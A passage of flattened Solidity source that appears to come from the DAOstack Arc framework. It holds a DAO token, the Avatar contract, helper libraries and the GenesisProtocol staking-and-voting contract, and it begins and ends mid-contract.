function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
